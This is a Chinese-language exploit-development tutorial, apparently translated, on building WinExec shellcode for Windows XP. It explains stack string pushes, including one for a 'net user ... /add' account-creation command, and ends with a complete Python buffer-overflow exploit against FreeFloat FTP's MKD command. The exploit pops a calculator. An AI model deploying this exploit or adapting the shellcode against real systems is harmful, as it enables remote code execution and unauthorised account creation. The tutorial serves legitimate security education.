返回介绍

WinExec

发布于 2025-01-03 23:32:54 字数 7614 浏览 0 评论 0 收藏 0

写 WinExec 的 shellcode 之前,我们需要了解这个函数,它的参数. 你可以查阅 MSDN 得到相关信息。

WinExec:MSDN

仔细看看这个函数的信息, WinExec 结构很简单,包含三个参数(实际上是两个参数):

Structure:                Parameters:

UINT WINAPI WinExec(      =>    指向 kernel32.dll 的 WinExec 指针
  __in  LPCSTR lpCmdLine,     =>    ASCII 字符串”calc.exe”
  __in  UINT uCmdShow       =>    0x00000001 (SW_SHOWNORMAL)
);

让我们看下第一个参数. 第一个参数是指向 WinExec 的指针, arwin 可以帮助我们在没有 aslr 的 WINXP 找到这个指针. 在调试机器用终端打开 arwin, 执行下面的命令:

arwin.exe kernel32.dll WinExec

接下来就是如何把 ASCII 字符串(在这个例子就是我们想要执行的命令) 写入堆栈. 第一次做可能会有点困惑,实际上并不难. 最好的理解方式是通过一个例子:

ASCII Text:                       ASCII Text:
calc.exe                        abcdefghijkl

Split Text into groups of 4 characters:         Split Text into groups of 4 characters:
"calc"                          "abcd"
".exe"                          "efgh"
                            "ijkl"

Reverse the order of the character groups:        Reverse the order of the character groups:
".exe"                          "ijkl"
"calc"                          "efgh"
                            "abcd"

Look on google for a ASCII to hex converter       Look on google for a ASCII to hex converter
and convert each character while maintaining      and convert each character while maintaining
the order:                        the order:
"\x2E\x65\x78\x65"                    "\x69\x6A\x6B\x6C"
"\x63\x61\x6C\x63"                    "\x65\x66\x67\x68"
                            "\x61\x62\x63\x64"

To write these values to the stack simply add       To write these values to the stack simply add
"\x68" infront of each group:               "\x68" infront of each group:
"\x68\x2E\x65\x78\x65" => PUSH ".exe"           "\x68\x69\x6A\x6B\x6C" => PUSH "ijkl"
"\x68\x63\x61\x6C\x63" => PUSH "calc"           "\x68\x65\x66\x67\x68" => PUSH "efgh"
                            "\x68\x61\x62\x63\x64" => PUSH "abcd"

这看来非常直截了当,你可能注意到了我们的 ASCII 字符串是 4 字节对齐. 如果不是 4 字节对齐会怎么样呢? 有相当多的办法处理这个问题,我建议你读 corelanc0d3r 写的这篇文章. 通过扩展的阅读你能学到更多知识. 我会介绍其中一项技术,看下面

ASCII Text:
net user b33f 1234 /add

Split Text into groups of 4 characters:
"net "
"user"
" b33"
"f 12"
"34 /"
"add"

可以看到 add 没有 4 字节对齐,非常简单,在它后面增加一个空格字符就可以了

"add "    => "\x68\x61\x64\x64\x20"    => PUSH "add "
"34 /"    => "\x68\x33\x34\x20\x2F"    => PUSH "34 /"
"f 12"    => "\x68\x66\x20\x31\x32"    => PUSH "f 12"
" b33"    => "\x68\x20\x62\x33\x33"    => PUSH " b33"
"user"    => "\x68\x75\x73\x65\x72"    => PUSH "user"
"net "    => "\x68\x6E\x65\x74\x20"    => PUSH "net "

最后我们需要 push 1 到堆栈,这是 WinExec 的 uCmdShow 参数. 如果你不知道机器指令对应的机器码,在调试里面打上 push 1 就可以看到了。

uCmdShow 需要设置为 0x00000001 这有很多方式可以做到,发挥你的想象力.我们这样做:

PUSH 1    => "\x6A\x01"   (ASCII "1" = "\x31")

(*) 另外一种思路,这样也可以

xor eax,eax   (eax 清 0)
inc eax     (eax 加 1)
push eax    (把 eax 的值压栈)

综合

我们把这三个参数按照 MSDN 说明的顺序放到堆栈. 我两点需要注意:(1) 由于栈是往地地址增长,所以我们把最后一个参数先压栈 (2) lpCmdLine 是我们要执行的命令字符串,但 WinExec 需要的参数是指向命令字符串的指针。

下面这么做是错的:

"\x68\x2E\x65\x78\x65" => PUSH ".exe"      \  Push The ASCII string to the stack
"\x68\x63\x61\x6C\x63" => PUSH "calc"      /
"\x8B\xC4"       => MOV EAX,ESP      |  Put a pointer to the ASCII string in EAX
"\x6A\x01"       => PUSH 1         |  Push uCmdShow parameter to the stack
"\x50"         => PUSH EAX       |  Push the pointer to lpCmdLine to the stack
"\xBB\xED\x2A\x86\x7C" => MOV EBX,7C862AED   |  Move the pointer to WinExec() into EBX
"\xFF\xD3"       => CALL EBX       |  Call WinExec()

上面这么做并不能成功. 我们看看执行这些指令会发生什么。

非常接近成功了,但是注意到但 WinExec 使用 lpCmdLine 参数的时候它不知道参数在哪结束. 我们知道 ASCII 字符串是以\x00 结束 的,因此我们要给 lpCmdLine \x00 结束符.如下所示

这才是正确的方式:

We need "calc.exe" + "\x00"'s but we know that null-bytes are badcharacters however we can easily xor a 
register (which will then contain 4 null-bytes) and push it to the stack just before we push “calc.exe”.


"\x33\xc0"       => XOR EAX,EAX      |  Zero out EAX register
"\x50"         => PUSH EAX       |  Push EAX to have null-byte padding for "calc.exe"
"\x68\x2E\x65\x78\x65" => PUSH ".exe"      \  Push The ASCII string to the stack
"\x68\x63\x61\x6C\x63" => PUSH "calc"      /  
"\x8B\xC4"       => MOV EAX,ESP      |  Put a pointer to the ASCII string in EAX
"\x6A\x01"       => PUSH 1         |  Push uCmdShow parameter to the stack
"\x50"         => PUSH EAX       |  Push the pointer to lpCmdLine to the stack
"\xBB\xED\x2A\x86\x7C" => MOV EBX,7C862AED   |  Move the pointer to WinExec() into EBX
"\xFF\xD3"       => CALL EBX       |  Call WinExec()

这应该足够了! 从下图可以看到参数布局是正确的. 执行这个代码将会弹出一个计算器。

#!/usr/bin/python
  
#----------------------------------------------------------------------------------#
# Exploit: FreeFloat FTP (MKD BOF)                         #
# OS: WinXP PRO SP3                                #
# Author: b33f (Ruben Boonen)                            #
# Software: http://www.freefloat.com/software/freefloatftpserver.zip         #
#----------------------------------------------------------------------------------#
  
import socket
import sys
  
#----------------------------------------------------------------------------------#
# (*) WinExec                                    #
# (*) arwin.exe => Kernel32.dll - WinExec 0x7C862AED                 #
# (*) MSDN Structure:                                #
#                                          #
# UINT WINAPI WinExec(      => PTR to WinExec                #
#   __in  LPCSTR lpCmdLine,     => calc.exe                    #
#   __in  UINT uCmdShow       => 0x1                       #
# );                                         #
#                                          #
# Final Size => 26-bytes (metasploit version size => 227-bytes)          #
#----------------------------------------------------------------------------------#
WinExec = (
"\x33\xc0"              # XOR EAX,EAX
"\x50"                # PUSH EAX    => padding for lpCmdLine
"\x68\x2E\x65\x78\x65"        # PUSH ".exe"
"\x68\x63\x61\x6C\x63"        # PUSH "calc"
"\x8B\xC4"              # MOV EAX,ESP
"\x6A\x01"              # PUSH 1
"\x50"                # PUSH EAX
"\xBB\xED\x2A\x86\x7C"        # MOV EBX,kernel32.WinExec
"\xFF\xD3")             # CALL EBX
  
#----------------------------------------------------------------------------------#
# Badchars: \x00\x0A\x0D                               #
# 0x77c35459 : push esp #  ret  | msvcrt.dll                     #
# shellcode at ESP => space 749-bytes                        #
#----------------------------------------------------------------------------------#
  
buffer = "\x90"*20 + WinExec
evil = "A"*247 + "\x59\x54\xC3\x77" + buffer + "C"*(749-len(buffer))
  
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
  
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文